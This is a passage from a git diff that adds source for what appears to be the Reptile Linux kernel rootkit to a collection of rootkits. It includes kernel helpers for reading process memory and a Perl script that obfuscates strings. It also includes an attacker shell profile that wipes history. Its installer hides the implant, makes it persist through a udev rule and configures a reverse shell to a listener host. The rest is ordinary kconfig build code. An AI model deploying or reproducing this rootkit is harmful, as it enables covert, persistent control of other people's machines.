flag_tasks(pid, 1); +} + +/* +void hide_proc(char *pid_str) +{ + pid_t pid; + + if (kstrtoint(pid_str, 10, &pid) == 0) { + if (is_proc_invisible(pid)) + flag_tasks(pid, 0); + else + flag_tasks(pid, 1); + } +} +*/ \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/string_helpers.c b/Linux/Rootkits/Reptile/kernel/string_helpers.c new file mode 100644 index 0000000..26a4edd --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/string_helpers.c @@ -0,0 +1,264 @@ +#include "string_helpers.h" + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) + +/* stolen from lib/string_helpers.c */ + +#include +#include + +#define ESCAPE_SPACE 0x01 +#define ESCAPE_SPECIAL 0x02 +#define ESCAPE_NULL 0x04 +#define ESCAPE_OCTAL 0x08 +#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL) +#define ESCAPE_NP 0x10 +#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP) +#define ESCAPE_HEX 0x20 + +static bool escape_passthrough(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + + if (out < end) + *out = c; + *dst = out + 1; + return true; +} + +static bool escape_space(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + unsigned char to; + + switch (c) { + case '\n': + to = 'n'; + break; + case '\r': + to = 'r'; + break; + case '\t': + to = 't'; + break; + case '\v': + to = 'v'; + break; + case '\f': + to = 'f'; + break; + default: + return false; + } + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = to; + ++out; + + *dst = out; + return true; +} + +static bool escape_special(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + unsigned char to; + + switch (c) { + case '\\': + to = '\\'; + break; + case '\a': + to = 'a'; + break; + case '\e': + to = 'e'; + break; + default: + return false; + } + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = to; + ++out; + + *dst = out; + return true; +} + +static bool escape_null(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + + if (c) + return false; + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = '0'; + ++out; + + *dst = out; + return true; +} + +static bool escape_octal(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = ((c >> 6) & 0x07) + '0'; + ++out; + if (out < end) + *out = ((c >> 3) & 0x07) + '0'; + ++out; + if (out < end) + *out = ((c >> 0) & 0x07) + '0'; + ++out; + + *dst = out; + return true; +} + +static bool escape_hex(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = 'x'; + ++out; + if (out < end) + *out = hex_asc_hi(c); + ++out; + if (out < end) + *out = hex_asc_lo(c); + ++out; + + *dst = out; + return true; +} + +int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, + unsigned int flags, const char *only) +{ + char *p = dst; + char *end = p + osz; + bool is_dict = only && *only; + + while (isz--) { + unsigned char c = *src++; + + /* + * Apply rules in the following sequence: + * - the character is printable, when @flags has + * %ESCAPE_NP bit set + * - the @only string is supplied and does not contain a + * character under question + * - the character doesn't fall into a class of symbols + * defined by given @flags + * In these cases we just pass through a character to the + * output buffer. + */ + if ((flags & ESCAPE_NP && isprint(c)) || + (is_dict && !strchr(only, c))) { + /* do nothing */ + } else { + if (flags & ESCAPE_SPACE && escape_space(c, &p, end)) + continue; + + if (flags & ESCAPE_SPECIAL && escape_special(c, &p, end)) + continue; + + if (flags & ESCAPE_NULL && escape_null(c, &p, end)) + continue; + + /* ESCAPE_OCTAL and ESCAPE_HEX always go last */ + if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end)) + continue; + + if (flags & ESCAPE_HEX && escape_hex(c, &p, end)) + continue; + } + + escape_passthrough(c, &p, end); + } + + return p - dst; +} + +char *kstrdup_quotable(const char *src, gfp_t gfp) +{ + size_t slen, dlen; + char *dst; + const int flags = ESCAPE_HEX; + const char esc[] = "\f\n\r\t\v\a\e\\\""; + + if (!src) + return NULL; + slen = strlen(src); + + dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); + dst = kmalloc(dlen + 1, gfp); + if (!dst) + return NULL; + + WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); + dst[dlen] = '\0'; + + return dst; +} + +#include "util.h" + +char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp) +{ + char *buffer, *quoted; + int i, res; + + buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); + if (!buffer) + return NULL; + + res = get_cmdline(task, buffer, PAGE_SIZE - 1); + buffer[res] = '\0'; + + /* Collapse trailing NULLs, leave res pointing to last non-NULL. */ + while (--res >= 0 && buffer[res] == '\0') + ; + + /* Replace inter-argument NULLs. */ + for (i = 0; i <= res; i++) + if (buffer[i] == '\0') + buffer[i] = ' '; + + /* Make sure result is printable. */ + quoted = kstrdup_quotable(buffer, gfp); + kfree(buffer); + return quoted; +} + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) +char *strreplace(char *s, char old, char new) +{ + for (; *s; ++s) + if (*s == old) + *s = new; + return s; +} + +#endif +#endif \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/util.c b/Linux/Rootkits/Reptile/kernel/util.c new file mode 100644 index 0000000..8f846ce --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/util.c @@ -0,0 +1,115 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) +# include +#endif + +#include "util.h" + +asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int); + +int util_init(void) +{ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) + _access_process_vm = (void *) access_process_vm; +#else + _access_process_vm = (void *) ksym_lookup_name("access_process_vm"); +#endif + + if (!_access_process_vm) + return -EFAULT; + + return 0; +} + +/* stolen from mm/util.c */ + +int get_cmdline(struct task_struct *task, char *buffer, int buflen) +{ + int res = 0; + unsigned int len; + struct mm_struct *mm = get_task_mm(task); + unsigned long arg_start, arg_end, env_start, env_end; + if (!mm) + goto out; + if (!mm->arg_end) + goto out_mm; + + down_read(&mm->mmap_sem); + arg_start = mm->arg_start; + arg_end = mm->arg_end; + env_start = mm->env_start; + env_end = mm->env_end; + up_read(&mm->mmap_sem); + + len = arg_end - arg_start; + + if (len > buflen) + len = buflen; + + res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE); + + /* + * If the nul at the end of args has been overwritten, then + * assume application is using setproctitle(3). + */ + if (res > 0 && buffer[res-1] != '\0' && len < buflen) { + len = strnlen(buffer, res); + if (len < res) { + res = len; + } else { + len = env_end - env_start; + if (len > buflen - res) + len = buflen - res; + res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE); + res = strnlen(buffer, res); + } + } +out_mm: + mmput(mm); +out: + return res; +} + +/* +static int count_argc(const char *str) +{ + int count = 0; + bool was_space; + + for (was_space = true; *str; str++) { + if (isspace(*str)) { + was_space = true; + } else if (was_space) { + was_space = false; + count++; + } + } + + return count; +} + +int run_cmd(const char *cmd) +{ + char **argv; + int ret; + int i; + + argv = argv_split(GFP_KERNEL, cmd, NULL); + if (argv) { + ret = exec(argv); + argv_free(argv); + } else { + ret = -ENOMEM; + } + + return ret; +} +*/ \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/scripts/bashrc b/Linux/Rootkits/Reptile/scripts/bashrc new file mode 100644 index 0000000..2b28f96 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/bashrc @@ -0,0 +1,59 @@ +case $- in + *i*) ;; + *) return;; +esac + +tty -s || return +[ ! -z $TERM ] && export TERM=xterm +unset HISTFILE SAVEHIST TMOUT PROMPT_COMMAND +[ $(id -u) != 0 ] && kill -9 $$ + +#declare -x LS_COLORS="no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mng=01;35:*.xcf=01;35:*.pcx=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.avi=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.mov=01;35:*.qt=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.pdf=00;32:*.ps=00;32:*.txt=00;32:*.patch=00;32:*.diff=00;32:*.log=00;32:*.tex=00;32:*.doc=00;32:*.mp3=00;36:*.wav=00;36:*.mid=00;36:*.midi=00;36:*.au=00;36:*.ogg=00;36:*.flac=00;36:*.aac=00;36:" +export TERM="xterm" +#HISTCONTROL=ignoreboth +#shopt -s histappend +#HISTSIZE=1000 +#HISTFILESIZE=2000 + +shopt -s checkwinsize +uname -a; id; +echo + +color_prompt=yes +force_color_prompt=yes + +if [ -n "$force_color_prompt" ]; then + if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then + color_prompt=yes + else + color_prompt= + fi +fi + +if [ "$color_prompt" = yes ]; then + PS1='\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ' +else + PS1='\u@\h:\w\$ ' +fi +unset color_prompt force_color_prompt + +if [ -x /usr/bin/dircolors ]; then + test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)" + alias ls='ls --color=auto' + alias grep='grep --color=auto' +fi + +alias l=ls +alias ll='ls --color=auto -AlFhn' +alias rm='rm -rfv' +alias nano='nano -ELSit' +alias s="ssh -i id_dsa -i id_rsa -v -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile /dev/null' -o 'ServerAliveInterval 30'" +alias sc="scp -i id_dsa -i id_rsa -v -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile /dev/null'" + +if ! shopt -oq posix; then + if [ -f /usr/share/bash-completion/bash_completion ]; then + . /usr/share/bash-completion/bash_completion + elif [ -f /etc/bash_completion ]; then + . /etc/bash_completion + fi +fi diff --git a/Linux/Rootkits/Reptile/scripts/destringify.pl b/Linux/Rootkits/Reptile/scripts/destringify.pl new file mode 100644 index 0000000..f75a319 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/destringify.pl @@ -0,0 +1,37 @@ +#!/usr/bin/perl -w +# +# Author: Ilya V. Matveychikov +# +# https://github.com/milabs +# + +use FindBin qw($Bin); +use lib "$Bin/lib"; +use Unescape; + +sub translate($) { + my $str = shift; + + my $i = 0; + my @tokens = (); + push @tokens, "unsigned int *p = __builtin_alloca(%d)"; + map { push @tokens, sprintf("p[%d] = 0x%08x", $i++, $_) } unpack("V*", pack("(C4)*", unpack("C*", String::Unescape->unescape($str)), 0)); + push @tokens, "(char *)p"; + my $body = join("; ", @tokens); + + return sprintf("({ $body; })", scalar($i) << 2); +} + +while (my $line = ) { + + next if ($line =~ /asm/); + next if ($line =~ /include/); + next if ($line =~ /__attribute__/); + + while ($line =~ /"(.*?)"/) { + my $replace = translate($1); + $line =~ s/(".*?")/$replace/; + } +} continue { + print "$line" +} diff --git a/Linux/Rootkits/Reptile/scripts/installer.sh b/Linux/Rootkits/Reptile/scripts/installer.sh new file mode 100644 index 0000000..954411e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/installer.sh @@ -0,0 +1,65 @@ +#!/bin/bash + +function random_gen_dec { + RETVAL=$(shuf -i 50-99 -n 1) +} + +PWD="$(cd "$(dirname ${BASH_SOURCE[0]})" && pwd)" +[ $? -ne 0 ] && PWD="$(cd "$(dirname $0)" && pwd)" +source "${BASH_SOURCE%/*}/../.config" || \ +{ echo "Error: no .config file found!"; exit; } + +UDEV_DIR=/lib/udev +random_gen_dec && NAME=$RETVAL-$HIDE.rules +RULE=/lib/udev/rules.d/$NAME +[ ! -d /lib/udev/rules.d ] && RULE=/etc/udev/rules.d/$NAME + +# Create Reptile's folder +mkdir -p /$HIDE && \ + +# Copy "cmd" binary +cp $PWD/../output/cmd /$HIDE/$HIDE"_cmd" && \ + +# Copy "shell" binary +cp $PWD/../output/shell /$HIDE/$HIDE"_shell" && \ + +# Copy "bashrc" +cp $PWD/../scripts/bashrc /$HIDE/$HIDE"_rc" && \ + +# Create start script +cp $PWD/../scripts/start /$HIDE/$HIDE"_start" && \ +sed -i s!XXXXX!$TAG_NAME! /$HIDE/$HIDE"_start" && \ +sed -i s!\#CMD!/$HIDE/$HIDE"_cmd"! /$HIDE/$HIDE"_start" && \ +if [ "$CONFIG_RSHELL_ON_START" == "y" ]; then + sed -i s!\#SHELL!/$HIDE/$HIDE"_shell"! /$HIDE/$HIDE"_start" && \ + sed -i s!LHOST!$LHOST! /$HIDE/$HIDE"_start" && \ + sed -i s!LPORT!$LPORT! /$HIDE/$HIDE"_start" && \ + sed -i s!PASS!$PASSWORD! /$HIDE/$HIDE"_start" && \ + sed -i s!INTERVAL!$INTERVAL! /$HIDE/$HIDE"_start" && \ + true || false; +fi + +# Permissions +chmod 777 /$HIDE/* && \ + +# Copy kernel implant +cp $PWD/../output/reptile /$HIDE/$HIDE && \ + +# Make persistent +cp $PWD/../output/reptile $UDEV_DIR/$HIDE && \ +cp $PWD/../scripts/rule $RULE && \ + +# cleaning output dir +rm -rf $PWD/../output && \ + +# Load Reptile +/$HIDE/$HIDE && \ + +echo -e "\n\e[44;01;33m*** DONE! ***\e[00m\n" || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; } + +# How to Uninstall +echo -e "UNINSTALL:\n" +echo -e "/$HIDE/$HIDE""_cmd show" +echo -e "rmmod reptile_module" +echo -e "rm -rf /$HIDE $RULE $UDEV_DIR/$HIDE" +echo \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_patches b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_patches new file mode 100644 index 0000000..4baccb8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_patches @@ -0,0 +1 @@ +patches diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_series b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_series new file mode 100644 index 0000000..c206706 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_series @@ -0,0 +1 @@ +series diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.version b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.version new file mode 100644 index 0000000..0cfbf08 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.version @@ -0,0 +1 @@ +2 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/confdata.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/confdata.c new file mode 100644 index 0000000..87f7238 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/confdata.c @@ -0,0 +1,1239 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf_warning(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static void conf_message(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static const char *conf_filename; +static int conf_lineno, conf_warnings, conf_unsaved; + +const char conf_defname[] = "arch/$ARCH/defconfig"; + +static void conf_warning(const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); + conf_warnings++; +} + +static void conf_default_message_callback(const char *fmt, va_list ap) +{ + printf("#\n# "); + vprintf(fmt, ap); + printf("\n#\n"); +} + +static void (*conf_message_callback) (const char *fmt, va_list ap) = + conf_default_message_callback; +void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) +{ + conf_message_callback = fn; +} + +static void conf_message(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (conf_message_callback) + conf_message_callback(fmt, ap); +} + +const char *conf_get_configname(void) +{ + char *name = getenv("KCONFIG_CONFIG"); + + return name ? name : ".config"; +} + +const char *conf_get_autoconfig_name(void) +{ + char *name = getenv("KCONFIG_AUTOCONFIG"); + + return name ? name : "include/config/auto.conf"; +} + +static char *conf_expand_value(const char *in) +{ + struct symbol *sym; + const char *src; + static char res_value[SYMBOL_MAXLENGTH]; + char *dst, name[SYMBOL_MAXLENGTH]; + + res_value[0] = 0; + dst = name; + while ((src = strchr(in, '$'))) { + strncat(res_value, in, src - in); + src++; + dst = name; + while (isalnum(*src) || *src == '_') + *dst++ = *src++; + *dst = 0; + sym = sym_lookup(name, 0); + sym_calc_value(sym); + strcat(res_value, sym_get_string_value(sym)); + in = src; + } + strcat(res_value, in); + + return res_value; +} + +char *conf_get_default_confname(void) +{ + struct stat buf; + static char fullname[PATH_MAX+1]; + char *env, *name; + + name = conf_expand_value(conf_defname); + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + if (!stat(fullname, &buf)) + return fullname; + } + return name; +} + +static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) +{ + char *p2; + + switch (sym->type) { + case S_TRISTATE: + if (p[0] == 'm') { + sym->def[def].tri = mod; + sym->flags |= def_flags; + break; + } + /* fall through */ + case S_BOOLEAN: + if (p[0] == 'y') { + sym->def[def].tri = yes; + sym->flags |= def_flags; + break; + } + if (p[0] == 'n') { + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + } + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + case S_OTHER: + if (*p != '"') { + for (p2 = p; *p2 && !isspace(*p2); p2++) + ; + sym->type = S_STRING; + goto done; + } + /* fall through */ + case S_STRING: + if (*p++ != '"') + break; + for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { + if (*p2 == '"') { + *p2 = 0; + break; + } + memmove(p2, p2 + 1, strlen(p2)); + } + if (!p2) { + if (def != S_DEF_AUTO) + conf_warning("invalid string found"); + return 1; + } + /* fall through */ + case S_INT: + case S_HEX: + done: + if (sym_string_valid(sym, p)) { + sym->def[def].val = strdup(p); + sym->flags |= def_flags; + } else { + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + } + break; + default: + ; + } + return 0; +} + +#define LINE_GROWTH 16 +static int add_byte(int c, char **lineptr, size_t slen, size_t *n) +{ + char *nline; + size_t new_size = slen + 1; + if (new_size > *n) { + new_size += LINE_GROWTH - 1; + new_size *= 2; + nline = realloc(*lineptr, new_size); + if (!nline) + return -1; + + *lineptr = nline; + *n = new_size; + } + + (*lineptr)[slen] = c; + + return 0; +} + +static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) +{ + char *line = *lineptr; + size_t slen = 0; + + for (;;) { + int c = getc(stream); + + switch (c) { + case '\n': + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + /* fall through */ + case EOF: + if (add_byte('\0', &line, slen, n) < 0) + goto e_out; + *lineptr = line; + if (slen == 0) + return -1; + return slen; + default: + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + } + } + +e_out: + line[slen-1] = '\0'; + *lineptr = line; + return -1; +} + +int conf_read_simple(const char *name, int def) +{ + FILE *in = NULL; + char *line = NULL; + size_t line_asize = 0; + char *p, *p2; + struct symbol *sym; + int i, def_flags; + + if (name) { + in = zconf_fopen(name); + } else { + struct property *prop; + + name = conf_get_configname(); + in = zconf_fopen(name); + if (in) + goto load; + sym_add_change_count(1); + if (!sym_defconfig_list) { + if (modules_sym) + sym_calc_value(modules_sym); + return 1; + } + + for_all_defaults(sym_defconfig_list, prop) { + if (expr_calc_value(prop->visible.expr) == no || + prop->expr->type != E_SYMBOL) + continue; + name = conf_expand_value(prop->expr->left.sym->name); + in = zconf_fopen(name); + if (in) { + conf_message(_("using defaults found in %s"), + name); + goto load; + } + } + } + if (!in) + return 1; + +load: + conf_filename = name; + conf_lineno = 0; + conf_warnings = 0; + conf_unsaved = 0; + + def_flags = SYMBOL_DEF << def; + for_all_symbols(i, sym) { + sym->flags |= SYMBOL_CHANGED; + sym->flags &= ~(def_flags|SYMBOL_VALID); + if (sym_is_choice(sym)) + sym->flags |= def_flags; + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + if (sym->def[def].val) + free(sym->def[def].val); + /* fall through */ + default: + sym->def[def].val = NULL; + sym->def[def].tri = no; + } + } + + while (compat_getline(&line, &line_asize, in) != -1) { + conf_lineno++; + sym = NULL; + if (line[0] == '#') { + if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) + continue; + p = strchr(line + 2 + strlen(CONFIG_), ' '); + if (!p) + continue; + *p++ = 0; + if (strncmp(p, "is not set", 10)) + continue; + if (def == S_DEF_USER) { + sym = sym_find(line + 2 + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_BOOLEAN; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + default: + ; + } + } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { + p = strchr(line + strlen(CONFIG_), '='); + if (!p) + continue; + *p++ = 0; + p2 = strchr(p, '\n'); + if (p2) { + *p2-- = 0; + if (*p2 == '\r') + *p2 = 0; + } + if (def == S_DEF_USER) { + sym = sym_find(line + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_OTHER; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + if (conf_set_sym_val(sym, def, def_flags, p)) + continue; + } else { + if (line[0] != '\r' && line[0] != '\n') + conf_warning("unexpected data"); + continue; + } +setsym: + if (sym && sym_is_choice_value(sym)) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + switch (sym->def[def].tri) { + case no: + break; + case mod: + if (cs->def[def].tri == yes) { + conf_warning("%s creates inconsistent choice state", sym->name); + cs->flags &= ~def_flags; + } + break; + case yes: + if (cs->def[def].tri != no) + conf_warning("override: %s changes choice state", sym->name); + cs->def[def].val = sym; + break; + } + cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); + } + } + free(line); + fclose(in); + + if (modules_sym) + sym_calc_value(modules_sym); + return 0; +} + +int conf_read(const char *name) +{ + struct symbol *sym; + int i; + + sym_set_change_count(0); + + if (conf_read_simple(name, S_DEF_USER)) + return 1; + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) + continue; + if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { + /* check that calculated value agrees with saved value */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) + break; + if (!sym_is_choice(sym)) + continue; + /* fall through */ + default: + if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) + continue; + break; + } + } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) + /* no previous value and not saved */ + continue; + conf_unsaved++; + /* maybe print value in verbose mode... */ + } + + for_all_symbols(i, sym) { + if (sym_has_value(sym) && !sym_is_choice_value(sym)) { + /* Reset values of generates values, so they'll appear + * as new, if they should become visible, but that + * doesn't quite work if the Kconfig and the saved + * configuration disagree. + */ + if (sym->visible == no && !conf_unsaved) + sym->flags &= ~SYMBOL_DEF_USER; + switch (sym->type) { + case S_STRING: + case S_INT: + case S_HEX: + /* Reset a string value if it's out of range */ + if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) + break; + sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); + conf_unsaved++; + break; + default: + break; + } + } + } + + sym_add_change_count(conf_warnings || conf_unsaved); + + return 0; +} + +/* + * Kconfig configuration printer + * + * This printer is used when generating the resulting configuration after + * kconfig invocation and `defconfig' files. Unset symbol might be omitted by + * passing a non-NULL argument to the printer. + * + */ +static void +kconfig_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (*value == 'n') { + bool skip_unset = (arg != NULL); + + if (!skip_unset) + fprintf(fp, "# %s%s is not set\n", + CONFIG_, sym->name); + return; + } + break; + default: + break; + } + + fprintf(fp, "%s%s=%s\n", CONFIG_, sym->name, value); +} + +static void +kconfig_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, "#"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } +} + +static struct conf_printer kconfig_printer_cb = +{ + .print_symbol = kconfig_print_symbol, + .print_comment = kconfig_print_comment, +}; + +/* + * Header printer + * + * This printer is used when generating the `include/generated/autoconf.h' file. + */ +static void +header_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: { + const char *suffix = ""; + + switch (*value) { + case 'n': + break; + case 'm': + suffix = "_MODULE"; + /* fall through */ + default: + fprintf(fp, "#define %s%s%s 1\n", + CONFIG_, sym->name, suffix); + } + break; + } + case S_HEX: { + const char *prefix = ""; + + if (value[0] != '0' || (value[1] != 'x' && value[1] != 'X')) + prefix = "0x"; + fprintf(fp, "#define %s%s %s%s\n", + CONFIG_, sym->name, prefix, value); + break; + } + case S_STRING: + case S_INT: + fprintf(fp, "#define %s%s %s\n", + CONFIG_, sym->name, value); + break; + default: + break; + } + +} + +static void +header_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + fprintf(fp, "/*\n"); + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, " *"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } + fprintf(fp, " */\n"); +} + +static struct conf_printer header_printer_cb = +{ + .print_symbol = header_print_symbol, + .print_comment = header_print_comment, +}; + +/* + * Tristate printer + * + * This printer is used when generating the `include/config/tristate.conf' file. + */ +static void +tristate_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + if (sym->type == S_TRISTATE && *value != 'n') + fprintf(fp, "%s%s=%c\n", CONFIG_, sym->name, (char)toupper(*value)); +} + +static struct conf_printer tristate_printer_cb = +{ + .print_symbol = tristate_print_symbol, + .print_comment = kconfig_print_comment, +}; + +static void conf_write_symbol(FILE *fp, struct symbol *sym, + struct conf_printer *printer, void *printer_arg) +{ + const char *str; + + switch (sym->type) { + case S_OTHER: + case S_UNKNOWN: + break; + case S_STRING: + str = sym_get_string_value(sym); + str = sym_escape_string_value(str); + printer->print_symbol(fp, sym, str, printer_arg); + free((void *)str); + break; + default: + str = sym_get_string_value(sym); + printer->print_symbol(fp, sym, str, printer_arg); + } +} + +static void +conf_write_heading(FILE *fp, struct conf_printer *printer, void *printer_arg) +{ + char buf[256]; + + snprintf(buf, sizeof(buf), + "\n" + "Automatically generated file; DO NOT EDIT.\n" + "%s\n", + rootmenu.prompt->text); + + printer->print_comment(fp, buf, printer_arg); +} + +/* + * Write out a minimal config. + * All values that has default values are skipped as this is redundant. + */ +int conf_write_defconfig(const char *filename) +{ + struct symbol *sym; + struct menu *menu; + FILE *out; + + out = fopen(filename, "w"); + if (!out) + return 1; + + sym_clear_all_valid(); + + /* Traverse all menus to find all relevant symbols */ + menu = rootmenu.list; + + while (menu != NULL) + { + sym = menu->sym; + if (sym == NULL) { + if (!menu_is_visible(menu)) + goto next_menu; + } else if (!sym_is_choice(sym)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next_menu; + sym->flags &= ~SYMBOL_WRITE; + /* If we cannot change the symbol - skip */ + if (!sym_is_changable(sym)) + goto next_menu; + /* If symbol equals to default value - skip */ + if (strcmp(sym_get_string_value(sym), sym_get_string_default(sym)) == 0) + goto next_menu; + + /* + * If symbol is a choice value 